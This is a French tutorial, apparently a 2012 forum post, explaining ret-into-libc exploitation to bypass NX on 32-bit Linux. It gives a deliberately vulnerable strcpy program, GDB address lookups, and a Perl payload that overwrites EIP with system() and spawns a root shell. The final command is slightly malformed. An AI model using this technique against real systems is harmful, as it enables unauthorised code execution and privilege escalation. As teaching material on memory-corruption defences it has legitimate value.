# Author : Storn
# Website : http://pwn-network.com, http://bsoddigital.fr
# Date : 28/03/2012
# Thank's : fr0g (hwc-crew.com)

Pour la Bases des Stack Overflow : http://hwc-crew.com/index.php?id=45

Dans l’exploitation Basique de Buffer Overflow, on utilise un code binaire que l’on appelle aussi ShellCode qui est exécuté sur la Pile.
Hors il existe des protections qui empêche cette Pile d’être exécuter,
Le NX Bit pour les intimes (No eXecute). 
Mais il y a des parades et les Ret-Into-Libc en font partie.

Qu’es que la Libc ou GLibc ?
GNU Library C ; Une Bibliothèque de fonctions pour les programme en C tout simplement.

Comme la Pile n’est pas exécutable, on va utiliser l’architecture du programme pour lui faire exécuter 
Des fonctions contenues dans la Libc.
Pour être bref on se retrouve devant ce schéma .
[code=bash]
[ Buffer ][ Save EBP ][ EIP ][ Arg2 ][ Arg1 ][  Arg0 ]  
[/code]

Donc on va faire ce qui suit.
[code=bash]
Buffer & Save EBP :    « a » x Taille_Maxi_Du_Buffer+4
EIP :                               L’adresse de la fonction system() , Pour exécuter notre /bin/sh.
Arg2 :                            L’adresse de la fonction exit(), Pour que notre programme quitte sans segfault.
Arg1 :                            L’adresse de /bin/sh.
[/code]

Comme vous l’aurez compris, une fois l’Overflow correctement effectuer, le registre EIP contiendra l’adresse de system() et pointera donc dessus, de ce fait, system() va prendre le contenu du premier Argument et l’exécuter (Arg1 = /bin/sh), une fois fait pour finir l’utilisation, l’exécution finira par un exit() qui terminera proprement sans segfaulté.


Maintenant, on va mettre les mains à la patte :D

On va prendre ce code vulnérable et le compiler. 
[code=c]
#include <string.h>
int main(int argc, char **argv)
{
char buffer[50] ;
strcpy(buffer, argv[1]);
return(0);
}
[/code]

On lance le programme vulnérable avec GDB.
[code=bash]
gdb vuln
GNU gdb (GDB) 7.0.1-debian
Copyright (C) 2009 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /home/vuln...done.
(gdb)
[/code]


On commence par chercher l’adresse de /bin/sh dans les variables d’environnement.
[code=bash]
(gdb) b main
Breakpoint 1 at 0x80484b8
(gdb) r
Starting program: /home/vuln

Breakpoint 1, 0x080484b8 in main ()
(gdb) x/1000s $esp
[ … ]
0xbfffff7b:      "LANG=fr_FR.UTF-8"
0xbfffff8c:      "SHELL=/bin/sh"
0xbfffff9a:      "PWD=/home/vuln"
0xbfffffdf:      "LINES=24"
0xbfffffe8:      "/home/vuln"
0xbffffffc:      ""
0xbffffffd:      ""
0xbffffffe:      ""
0xbfffffff:      ""---Type <return> to continue, or q <return> to quit---
[/code]


On a cette ligne: 0xbfffff8c:      "SHELL=/bin/sh".
Mais pour avoir que le /bin/sh il faut enlever le ‘SHELL=’ , donc 6 caractères.   
0xbfffff8c +6 =  0xbfffff92
Notre /bin/sh se trouve à l’adresse 0xbfffff92
Pour notre exploitation il nous faut l’adresse en lifo :
\x92\xff\xff\xbf.

On continue en cherchant l’adresse de system().
[code=bash]
(gdb) x system
0xb7ecf180 <system>:     "\203\354\f\211t$\004\213t$\020\211\034$\350\034\331\375\377\201\303a\216\020"
[/code]

System() est à cette adresse :
0xb7ecf180 donc \x80\xf1\xec\xb7.

Au tour de exit().
[code=bash]
(gdb) x exit
0xb7ec5300 <exit>:       "U\211\345S\350\246w\376\377\201\303\353,\021"
[/code]

AIE ! Un NULL Byte 0xb7ec5300 (le 00) on prend donc ‘exit+4’ à l’adresse :
0xb7ec5304 qui nous donne \x04\x53\xec\xb7.

On a ce qu’il faut pour mener à bien notre exploitation en respectant notre plan qui est je rappel :
[code=bash]
[  \x90 x 50 ][  \x90 x 4 ][  \x80\xf1\xec\xb7  ][  \x04\x53\xec\xb7  ][ \x92\xff\xff\xbf  ]
[/code]

On exécute notre exploitation.
[code=bash]
./vuln ‘perl -e `print "\x 90"x54 . "\x80\xf1\xec\xb7" . "\x04\x53\xec\xb7 " . "\x92\xff\xff\xbf "`’
$ whoami
root
[/code]

On obtient bien un Shell /bin/sh malgré la non-exécution de la pile.
